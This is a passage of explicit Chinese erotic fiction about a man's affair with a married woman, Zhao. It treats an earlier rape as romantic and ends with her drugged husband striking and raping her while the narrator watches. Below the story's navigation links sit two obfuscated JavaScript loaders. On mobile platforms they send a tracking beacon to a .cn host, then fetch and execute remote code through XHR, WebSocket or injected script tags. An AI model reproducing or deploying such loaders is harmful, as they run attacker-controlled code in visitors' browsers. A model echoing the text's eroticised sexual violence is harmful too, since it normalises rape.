“嗯……喔……”赵姐感受到滚烫的硬物进去后,一边忘情的呻吟着,一边淘气的说道:“你真是怪,听我和佳做爱,自己还那么来劲。”

我抽送着阴茎,感受着阴道内紧得几乎没有缝隙的感觉,温柔的对赵姐说:“也许,我真应该是你的第一次,我会好好的爱护你,关心你,绝对不让你难过伤心。我希望自己就是你唯一的男人。说自私也好,可我就想独自拥有着你!”

听到这里,赵姐感动的把头埋在了我胸怀里柔声的说:“我也渴望我的第一次能献给你,那样,我就不会因此怀孕了,也不会和他结婚。”

我听得出赵姐说话时有些因激动产生的结巴,但我没有插话,用我激动的硬物在她的阴道里面用力的顶了几下,去给她超越话语的安慰。刺激中的兴奋,让赵姐使劲的将下体主动迎合我的进攻。

在生殖器伴随着液体“噗呲……噗呲……”的撞击声中,赵姐享受的继续说道:“婚后,佳也想要做爱,我也尝试着去重新感受,但一方面是担心影响肚里的孩子,一方面对第一次仍心存芥蒂,我们总是草草的就结束了,我们尝试了两次以后,佳放弃了,而我的肚子也越来越大,佳就再也没有碰我了,生孩子后,我们只是表面上的亲热过,但我却是越来越惧怕,直到我被你强奸了,算起来,佳都没有你占有我的次数多。”

说到这里,赵姐在我身上使劲捶打了几下,神情中露着幸福。

其实,我从赵姐宛如处女般的阴道里,早已感觉她和佳做爱真是少得可怜,一直不能理解的疑团豁然明朗了。我顿时感到内心无比的欣慰,好像中了头彩般的充满幸福感。

不一会儿,很熟悉的高潮到来时急促的喘息声,在我左右上下,三进两出的冲刺下,从赵姐的嗓子里发出了信号。我也放松了龟头的压制,整根输精管一阵阵抽动后,再次浇灌起来。

好久,赵姐从她身体里退出了我的肉棒。就像打开瓶塞一样,我闻到了酸甜的爱液弥漫在我们身边,白色精液顺着我的阴茎退出阴道后,从阴户最下端流了出来。我们两人都是汗水,分不清是我的,还是赵姐的。

床头柜上,赵姐的手机响了起来。我伸手帮她拿过来,看到来电显示是佳打来的,我递给了赵姐。她也不知道是该接还是不接,最后怕我尴尬,便侧过身,接听了电话。

我听不到说的话,只知道大概意思是,佳已经回来了,一家人等着赵姐回去做饭。我想留住她,但我没有开口,我知道那是不对的。我闭上眼睛,默默的躺在床上。

听声音,赵姐快速的穿好胸罩,调整了几下,好像正开始套着内裤,动作是那么的匆忙,她真的要走了。

我还是忍不住问她:“以后,你还会和我在一起吗?”

赵姐放慢了拉内裤的动作,听到我这么一问,停了下来:“你真想知道?”

我意味深长的说道:“是。”

赵姐最终还是拉上了内裤,低声说:“我会。”

接下来的日子,我知道自己陷进了一个迷潭,我开始发现对赵姐不单单是一种肉体的渴望,性爱的背后,悄然的有一种思念。当有快乐的事情发生,好想她就在我身旁,一同分享。夜里,总担心着她是否在哭泣,是否在伤心。我甚至觉得她和佳睡在一起而吃醋。

可我又能怎么样呢?我虽然告诫自己,我也是有家的人,我也有和自己老婆做爱,可我仍然会因此而嫉妒。

这种种想法和感觉令我觉得害怕,我不知道将来会发展成什么样子。

每天我发着短信给她,可她总是没有回我,我不知道是什么意思,难道,她不想再见我吗?我困惑了,开始猜疑着她是不是和佳又火热了起来?是不是我教会了她肉欲的快乐,她和佳正在享受着呢?

越想,我心里越是焦躁、愤怒,酸熘熘的醋意不断在心口汹涌着。我把内心的感受变成一种责骂发了短信给她。

一分钟过去了,两分钟过去了,我就这么握着电话,等待她的回音。

十分钟又过去了,为了不被妻子发现我不对劲,我一会假装上厕所,躲在卫生间,一会儿又假装下楼去买烟。不管到哪里,我就这么一直握着电话,等待那熟悉的而又陌生的短信提示。

也不知道过了多久,半梦半醒的我,感觉到了手中短信的急促振动,是她,我不免惊醒,为这等待而兴奋。果然,短信的发送人显示着她的名字,我激动的再次躲进了卫生间,郑重的打开浏览着:“我该怎么办?”

“我也不知道,我很想你。”我也不知道该回答什么,先前的愤怒随着收到的短信而烟消云散。

“你和我都有家庭,我们不现实。”她是那么迅速的回着我的短信。

“对不起,我给你带来了压力,但我是真心想你,我需要你!”

这一次发出后,又是一段时间的等待,我感觉蹲在卫生间的我已经双腿麻痹了。

终于她又回复了我:“我快崩溃了,我也好想你!”

那是多么美妙的字呀,我感到了恋爱的幸福,我像个小孩一样高兴得在卫生间手舞足蹈的跳跃起来。凌晨三点的夜里,我幸福的快乐着。

接下来的几天,我们就这样不停的通过短信寄托去我们彼此的思念。

......................................

几天后的中午,我在公司午餐后到外办事,驱车到了赵姐公司附近,想到她就在离我不到百米的房子里,想着她那性感的身躯,我感觉下身又欲望爆发,索性打了个方向盘,停到了附近一家旅社。

开了房间,我立刻发短信,告诉赵姐我在她公司旁的旅社203房,结尾,我加了句不见不散。发完短信,我便躺到了床上,旅社里很简陋,但此刻的我并没顾及这一些,我等待着她的回信。

想到将要抱着她,我高兴得自己在房间里笑了起来,又想到她没有回我短信会不会来呢?会不会没有收到呢?想到这些,我心情又低落了起来。

正当我打算再发一次的时候,有人敲门了。我飞身到了门边,深唿吸一下,才迅速的把门打开。赵姐一身职业女装的打扮,亭亭玉立的站在门外。白色的高领衬衫,黑色条纹中裙,很是得体,但对于我,却是一种莫名的性诱惑!制服的诱惑!

我们眼神交接的瞬间,我们发现了彼此眼里蕴藏了无限激动。我也不知怎么居然会有些口吃的说:“进,进来吧。”

而赵姐好像相亲的大姑娘一样,不好意思的低着头进了房间。

我把门关好,转身看时,她显得很拘束的站在我身后。我再也忍不住了,一把将她拉入怀中,紧紧抱住,不想再放开。

过了一会儿,她轻声的对我说:“我不能出来太长时间。”

这话就像爆发火山的机关,欲火狂作的我一把将赵姐推到墙上,用我早已站立的下体顶住她的阴部,双手抱住赵姐亲吻她的脖子、脸和胸部。

赵姐被我突然的袭击弄得神魂颠倒,她的手也在找寻着我的皮带扣,笨拙的解开后,拉下我的裤链,然后伸进了我的短裤里面,抓住我那不老实的阴茎,爱不释手的套弄起来。

失去理智的我也顾不了脱去她穿的衬衫,把裙子拉到腰部后,一只手擡起赵姐的双手,卡在墙上,另一只手,拔开她那已经被阴道分泌物弄湿的内裤,用我红红的龟头扎进稀疏的草丛中。源源不断的分泌液立刻流淌了我整个龟头,因为我们是站着,此时我发现这样无法进入那神秘的小缝中。

我喘着兴奋的粗气,哀求赵姐:“我爱你,快给我!”

接受到信号的赵姐松懒的睁开眼睛,叉开双腿,高掂起脚尖,这样屁股就可以向我擡起,很快的睁了一下眼睛又再次闭上,好像又开始享受着盛宴般,忘情的扭动起身体。

龟头被草丛的来回磨动,而涨得有少许难受了。我试着半蹲下身体,这样,整个阴茎呈斜角对着那充满了晶莹液体的阴户,我一只手攥住我的阴茎根部,向前一送,龟头像开启了快乐的性爱之门般,撑开两片已经红肿的阴唇。

赵姐“嗯”娇喘了起来。我把腰往前一挺,阴茎又再深入一截,此时我的嘴也没有闲着,我在赵姐的脖颈处,如吸血鬼般贪婪的吮吸着。

赵姐在这种情况下彻底失去了自制力任我摆布着。

我迅速而用力的向赵姐的两腿间用力一插。随着整根阴茎完整的插进阴道的时候,这种刺激也令赵姐再次失声大叫了一声“啊”,被我高高压着的双手试图挣脱着我。

我怎么能放开呢?送完阴茎的手,从衣领处伸进她的衬衫,好似要将这四天的等待一次补偿个够一般,狠命的抓揉着那因激动而荡漾着的乳房。

我努力的边插入边收起龟头向上顶起,速度越来越快。赵姐的大量的分泌液作用下,生殖器“吡呲……吡呲”碰撞的声音回荡了整个房间,我感觉她的阴道分泌液已经完全粘湿了我的阴毛,又顺着我的大腿流到了膝盖。

此时赵姐开始有些语无伦次的叫唤着。我知道这意味着高潮的到来,我更快速、更用力地在她的阴道中抽出插进。

我们的嘴热吻在一起反复分开、结合着,这一次,我等不了她高潮,双腿一阵阵打着颤后,当精液冲过龟头时,我也忍不住大叫了起来,我将小腹紧紧贴在赵姐肚子上,阴茎全根停在阴道里,顶着子宫抽搐着吐出浓浆。此时赵姐也在连续、急促的“啊……”叫声中颤抖着自己的身体。

我看着她时,我们都笑了,彼此已经大汗如雨般浸湿了我们的头发和脸。我不情愿的拔出有点疲软的阴茎,白色的精液也跟着滴到了地上。

赵姐低头看了看,依偎在我怀中,喃喃道:“你好坏!射那么多!”

我从裤包中拿出卫生纸,伸手下去,把赵姐的下体擦拭干净,帮她整理了一下内裤,然后拉下裙子。赵姐才离开我的身体,到卫生间照着镜子整理衣服。

我坐到了床边,也整理了一下已经疲惫的小弟弟,整理好衣服,站起来等着赵姐。不一会儿,衣着整齐的赵姐出来了,我拉住她的腰,再次给她深深一吻。

她也依依不舍的说:“我赶时间,我先走,我们分头出去。”说完便转身出了门。

房间里又只剩下我一个人了,我靠到了刚才她靠着的墙,上面还残留着她的香水味道,地上零乱的卫生纸粘满了我们的结合的爱液,那种熟悉的味道隐隐的勾起了我的冲动。

我觉得这样可不行,连忙匆匆收拾了纸团,出了房间,这是第一次在旅社偷情,心虚下,总觉得好像旅社的人知道我们在做什么一样,也不好意思去退房,快步上了车,离开了旅社。

我丢了魂,失去了理智的坐在桌前,等待着有点事情来转移注意力。可这一天却异常的平静,没有任何公事来骚扰我,大脑空闲的每一秒,赵姐就迅速的占满我的思维空间,好似我放在她肉穴里的阳具般严丝合缝。

看着表,她还没有下班,桌上的电话拿起又放下,要不要打给她呢?会不会影响她呢?我该说些什么呢?我也不清楚。

时间在流失着,下班的钟声敲响了,而桌上的电话也响了起来。

拿起电话,传来了熟悉的女人声音:“下班了吗?”

是赵姐,是她。我强压着兴奋,假装镇定的回答:“刚好,那,你呢?”

“我也是。”她的声音显得有些腼腆。

“我,要不一起……”我自己也不知道要一起做什么,话到嘴边就没有来得及收回来。

“好啊!”她居然激动的回答了一句,可能发现有点失态,又停住了后边的话。

“那就六点,地点嘛……”我一时竟然说不上约会地方。

“圣殿西餐吧!”她好像早就预谋好一样的立刻就定了地方。

就这样,也不知道是她约我,还是我约她。

挂了电话,我给家里说我加班,便收拾了一下,驱车到了约会地点,看表,才五点四十分,可她已经在门口了。我跑过去,情不自禁的拉着她的手,就如真正的情侣一样,双双步入餐厅。

烛光下,我发现赵姐跟白天时有些不一样,虽然还穿着中午那身职业装,但脸上的表情是那么的灿烂,那么的悠闲,好像世界只有我和她。

我们说着童年往事,说着学生时代的趣闻,聊着朋友圈子里的搞笑人物。言语间,我看到她的眼睛,就在我们对视的时候,我能看到幸福,至于饭是怎么吃完的,我们都不记得,只记得,我们一直在欢笑中去偷偷注视着对方。

从餐厅出来,我们还拉着手,她深深的唿吸了一下空气,突然转头对我说:“我还不想回家!”

听到这句话,我抓紧了她的手对她说:“我们去海边吧!”

“你去哪里,我就去哪里!我要缠着你!”她略带淘气的说道。

“那我也要你做主的呀!”我回答道。

这时,一辆双层公交车驶过我们面前。

“我们坐一次公交车吧!”她突然心血来潮的叫了起来!

“可,可我没有零钱呀!”我可是好多年没有坐那玩意儿了。

“你别管,跟我来,照着我做!”她说完就拉着我跑向了公交站台。

等待公交车的时候,她看着天空,像个小女孩一样。我望着她,心里想,我能爱她一辈子,就这么牵着她的手该多好?

公交车来了,她先上去,对司机说:“后面的给钱。”便走到了后面。我也只好照着她的话说:“后面!”便匆忙的跟了她跑向车尾。

原本想被司机抓到逃票那太羞人了,可是司机居然没有理会,我们就坐到了最后排。刚才紧张的心随着启动的公交车而渐渐平息,她把头靠在了我的肩上,闭着眼睛。

我望向窗外,此时的天色已经黑了下来,车子的摇晃,让我感觉她温暖的身体靠在我身上的温馨感,此时,我心里没有任何的杂念和冲动,唯一有的是那如家人般幸福的感觉,我开始期盼目的地再遥远一些。

...............................

也不知道坐了多长时间的车,对于我来说,是那么的短暂,我摇醒了赵姐。她不情愿的伸伸懒腰,才和我一起下了车。

买了票进了海边,我们找了一个僻静的地方,垫上我的外套,坐在沙滩上。这里没有灯光,只有月亮散发出的忧郁蓝色点缀着整个海滩。这时,我感觉她有些冷,我准备拿起外套给她披上,可她摇摇头拒绝了,我只好把她紧搂在怀中,希望用我的体温给她带来一丝温暖。

她在我怀里,缓缓的问我:“想过我们会在一起吗?”

“没有想过,我现在都在觉得是做梦。”这是我的心里话。

“不管我以前怎么想,但现在,我好想和你在一辈子。”她温柔的说着。

这是我和她都明白的现实与梦想之间的差距,我不能回答她任何话,因为我不知道怎么回答她,我不想给她一个我也不知道结局的承诺。我只能用吻去安抚她,也安抚我自己。我的嘴感觉到了她唇上淡淡的咸味,原来是她的眼泪流到了嘴角。

我摸索着她的全身,那每一个我迷恋的起伏。她没有反抗任我温柔的摸着每一寸地方。当触摸到隔着衬衫的乳房时,我再一次忍不住解开了靠向领口的两排纽扣,手紧紧的扣在乳房上,她的身体开始扭动着。另一只手也不是等闲之辈,它摸到赵姐的大腿根处,插入了内裤,摩擦着阴毛,手指头探寻到泉水涌出的源头,慢慢的插进去。

“不行,会有人看见的。”赵姐突然把双腿一夹,劝我住手。

“别担心,这里四周无人。”

可不管我怎么安慰她,我仍然感到她还是紧张,双腿并未放松。

“我从来没有在户外这样过。”赵姐有些歉疚的解释着。

我不停的安慰她,让她觉得自己是安全的,这不是羞耻,而是爱。渐渐的随着赵姐双腿的松开,我知道她最终放弃了一切羞涩。在我的爱抚下,她羞答答的告诉我,她难受死了,下面奇痒无比。赵姐被这种野外的刺激弄得爱液横流,内裤和裙子上都是流下来的粘液。

我用一只手指头插在她的阴缝里,来回扣动里面皱褶的壁环。我尝试着再插进去了一根指头,居然发现,赵姐的小穴刚好就是两个指头的尺寸,不多不少。这时候,赵姐更紧紧贴在我的身边,放任着我对她的贪婪。

我干脆把她抱到我身上,我们面对面的坐着。月光下,我看到的是她幸福微笑着、羞涩着,她的阴户已经被我下面硬硬的淘气鬼顶住。赵姐有意识的移动臀部,来摩擦我的硬棒。于是我就拉着她的手,教她拉开了我裤子上的拉链。赵姐也很知趣的从下面,拉出本来顶着她的阴茎,开始用手上下的套弄着。

她突然停了下来,问我:“这就是你的龟头?那么大,怎么进我体内的呀?好可怕!”

“那你每次痛的时候,不就进去了呀!”我故意逗她道。

“讨厌,你羞我!”她害羞的笑了起来。

看着她的妩媚微笑,我用阴茎准备向上插入她的阴缝。

可赵姐很为难的说:“不行,今天不行了,中午做了后,我肚子有点痛。”

这可急坏了我,只好恳求她的说:“我好难过,你就让我再做一次吧!”

“我是那个,那个要来了。”赵姐有些难以启齿的说道。

原来是她要来月经了,这么一来,我可真做不了了。

赵姐看到我一脸失望,也心痛的抱着我的脸说:“我帮你弄出来,好吗?”

我也没有办法,只能点了点头。她开始用手帮我套弄着,可我此时仍然觉得不够爽,可能刚才的期望太高,不免有些失落。

赵姐发现我的表情不对,着急的问我:“是不是不舒服?那我要怎么弄才好呢?”

我突然有种想法,但我又有些觉得不妥,便没有说出来。

赵姐看到我欲言又罢的情形,更着急了,忙对我说:“你说吧,是我不好,害你难受,你说什么,我都照做!”

我见她那么恳切,只好喃喃道:“你,你帮我用嘴行吗?”

“用嘴?”赵姐一脸疑惑的看着我。

我以为我惹她生气了,忙解释道:“哈哈,开玩笑的,别介意。”

“能行吗?我不会呀!”没想到赵姐并没有生气,而是一脸天真的看着我。

“我也没有尝试过,我们试着来吧。”

我对这意外感到一阵兴奋,本来要软下去的肉棒又再次挺立了起来。赵姐俯身,把脸凑到了我的龟头上,仔细的看着。

我奇怪的问她:“怎么了?上面有什么吗?”

“不,没什么,我只是看看有没有什么不干净的。”赵姐回答得很干脆。

“我天天都有洗的。”我连忙笑道。

“人家不好意思嘛。”赵姐撒娇说着。

看了一会,赵姐闭上了眼睛,五官积聚到一起,表情怪异的微微张开口,准备含住我的龟头。

看到她有些难以忍受的表情,我觉得自己好过分,忙劝她:“还是算了吧,一定感觉太糟糕了。”

赵姐好像没有听见一样,一下就把我的龟头含到她的口中。刹那间,我的龟头感觉来自嘴巴湿湿的温度,全身如过电一般。

为了不让这感觉消失,我喘息着命令她说:“用嘴缠绕它!”

“嗯。”赵姐嘴里含着我的龟头,无法说话,只是低声应了一下,就很不自然的用嘴咬了一下。

“啊!”我被这一咬,痛得差点眼泪都流了出来。

赵姐被吓到了,连忙擡起头问我怎么了。

我连忙说:“别用牙!好痛的!”

“那,那用什么呢?我真不会呀!对不起!”赵姐有些不知所措了。

“用舌头吧,我也不知道。”我决定作最后的尝试。

赵姐再一次含住了我的肉棒,这一次,明显与前次不同,舌头紧紧环绕着阴茎,开始有一些说不出的刺激感,和进入阴道是截然不同的快乐。我也配合着将手伸到赵姐的乳房上,轻揉着。

这一揉不要紧,却勾起了赵姐的欲望,她开始主动用手压住我的阴茎根部,一手轻弄着我的睾丸,像对待自己的性器官一样爱护着,而嘴里开始边用舌头缠绕,边吮吸起我龟头。

我被这突然的变化而弄得失去了忍耐,一不小心,只感觉一股热流顺着输精管,冲出龟头,不停的在我身体的抽搐下,向外喷撒。

“嗯!”赵姐惊叫了一声,看来她也没有一点准备,然而她口中已经有了我的精液。这一叫,只听到她紧接着“嗯”的一声,好像把我射到她嘴里的浆液吞了下去,而我未射完的精液在没有任何遮挡的情况下,又射在了她的衬衣、裙子上。

赵姐连连对着旁边吐了几口口水后,有些生气的打了我的硬棒几下,可能觉得好笑,又“噗哧”的笑了起来。

美好的时光总是过得好快,我们继续依偎了一会儿,看表已经快九点了。我们依依不舍的起身,整理了衣服,相互缠绵着离开了海滩,打了出租车,回到了吃饭的餐厅。

我说要送她,可她坚持要自己打车回去,无奈中,我带着无限的回味和不舍的眷恋开车独自往回家的路上开去。

我开得很慢,因为我尚未从今天的快乐中脱离出来。

差不多有半个小时,我的电话响了起来,我一看,是佳打来的,我的心一下又悬了起来,可又怕赵姐出了什么事,连忙把车靠到路边停好,接起了电话。

电话里,佳很着急,叫我快去他家接他。我忙问出了什么事情。

佳说话声很小,但能听得清楚:“我正要出门,可我老婆现在回来了,她问我要去哪,我就说要去赶飞机,出差。”

“那你叫我去干嘛?”我内心感觉到几分高兴,但还是装作煳涂。

“她说她开车送我,我说是你来接我,所以快点!”佳有些着急了。

一想到又要和赵姐见面,我兴奋得不得了,连忙告诉他我马上就到,挂了电话,我又告诉家里,我有紧急事情,要赶到另一个城市去,今晚不回家了。

一切安排完,我加速驶向赵姐的家,心里大叫着:“赵姐!我来啦!”

不到二十分钟,我就从城北冲到了城东,一下车就几个箭步冲了上楼。

开门的是佳,没等他说话,我就进了屋里,催着佳:“行李收拾好了吗?快走呀!”

佳拉了我到了阳台,我才发现,他一脸赤红喘着粗气,身体有些站立不稳,对我说:“妈的,我约了那女人,刚才发短信,说她去不了了!”

我一听,比他还失望,本想今晚就抱着赵姐好好睡一觉的梦想完全破灭了,但还是假装安慰他道:“算了吧,你也不至于急成这个样子!”

“不是,我原来约的那个女人太厉害了,我就吃了点春药,现在去不了,药力上来了。”佳边说,边难于控制的在阳台走来走去。

“那你怎么办?”我更关心的是他会不会去找赵姐发泄。

“还好老婆回来了,呵呵。”他一脸淫笑的说着。

可这话像剑一样刺着我的心,我只好对他说:“我去跟你老婆说一声,我就先回去了。”

佳也有些不好意思的说:“就麻烦你了,真不好意思,帮我好好圆下谎。”

我来到客厅,听到厨房有声响,我进去,果然赵姐正在厨房收拾着佳吃完没有洗的碗碟。知道我进来赵姐也没有看我,仍然沮丧的低着头。

“我不想他碰你……”

我还没有说完,赵姐便说道:“你明不明白?”

赵姐擡起头,用已经哭红了的眼睛看着我,才说道:“我现在不会为他欺骗我去和谁在一起而难过,而是不想让除了你以外的男人再碰我。”

这句话深深的震撼了我的心,我感到了她哭泣的痛苦原因,觉得她好委屈。

我伸头,看到佳仍然在房子另一头的阳台徘徊着。他看到我看着他,连忙作了作揖,表示让我多帮他说点好话。

“我……”

我本想说点什么,赵姐又开口了:“可我能怎么做呢?今晚不但这个房子的主人是他,我也是他的,他是合法的拥有着一切使用权,包括我!你明白吗?”

目瞪口呆的我,在这一分钟,绝望的看着她,同样也感觉到她内心的绝望。这种感受比死一千次,一万次更让人无法接受,我终于明白了有人说,死亡其实比活着更简单!我突然之间发现自己什么也做不了,就连保护自己爱的女人的能力也没有。

我慢慢的离开了厨房,她随后也跟了出来。这时佳已经走了过来,一把抱住赵姐,对着我作了个成功的手势,便进了卧房。我注意到佳已经到了意乱情迷的样子了,药力让他已经把我当作不存在了。

卧室的门没有关,里面隐约听到赵姐拒绝的声音。我终于听不下去了,我快步的走到大门口,开了门,却迈不出脚步。

这时我听到了赵姐在哀求着:“我要来月经了,求你,别做了。”

紧接着,我听到了“啪”的一声,好像是佳抽了赵姐一巴掌。

果然听到佳怒吼着:“妈的!贱人,我想什么时候玩就什么时候玩。”

赵姐哭了,整个房间,甚至我觉得整幢楼都能听到。

到现在我也说不上来,是什么驱使我下定决心走回房间。当时我重重的关上门,好让他们觉得我已经离开了,然后轻手轻脚的来到他们的卧室门口,从半掩的门缝中,注视着里面的一举一动。虽然我知道我所看到的将给带来我什么样的伤痛,可我不想赵姐一个人去背负着。

此时的佳已经脱光了自己,药物的作用的确很大,佳的下体已经红得发紫的直立着。他对着躺在床上的赵姐吼道:“看着我!”

可赵姐却把头偏向一旁,继续哭着。

迫不及待的佳开始强行着脱去赵姐身上的衣服。这一举动,让赵姐停止了哭泣,她睁开了眼睛,目光呆滞的看着一旁,一动不动,任由佳艰难的在她身上折腾着衣服。我看到了绝望和无奈的默认,就像将死之人对世间了无牵挂,而我除了攥紧的拳头,更多的也是一种无助的懦弱感。

“嘶!”的一声,赵姐的衬衫被佳一把撕开了,纽扣散落了一地,佳似乎更加兴奋了,他不再试图去脱下赵姐剩下的衣服,转而粗暴的撕扯胸衣、裙子和内裤。每一样发出的“嘶、嘶”让佳疯狂得意的笑着,让我心如刀割般疼痛。我没有见过佳如此痴狂过,也从来没有感觉过自己这么心痛过。

我安慰的在心中默默的说:“快了一会儿就过去,一会儿就好。我要冷静、冷静、冷静……”

赵姐一丝不挂的躺在佳的面前,她仍然面无表情。

佳用手探向阴部,只听见骂了一声:“妈的!水都没有!”话音未落,一下就用力插进整个阴茎。

赵姐似乎没有任何痛苦一样,仍然眼睛也不眨一下。她的心已经碎了吗?我的爱人。我的眼泪涮的一下涌出眼眶。

进到赵姐身体里的佳,双手支按在床上,支撑着身体不停的撞向赵姐大腿交叉部位,他们的身体随着佳的推进而波动着。赵姐可能因为疼痛,不由得收紧着双腿。这可激怒了正在尽情地体验从下面传上去的阵阵快感的佳,他口中边骂边狠狠的用脚踢开赵姐双腿,身体更猛烈的抽插着。

这时,赵姐发现了我,两行眼泪再次流了出来,她微微的摇晃着头,用眼睛哀求似的看着我,好像要求我快点离开。

说实话,我也无法再继续看下去了。以前也看过文章里说,如何看自己心爱的人和别人做爱会兴奋,那觉得是对那个女人只有性没有爱,爱是自私的,我不能承受这种情景


上一篇:淫媳荡翁的性生活

下一篇:男人女人之淫妻送友骑


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};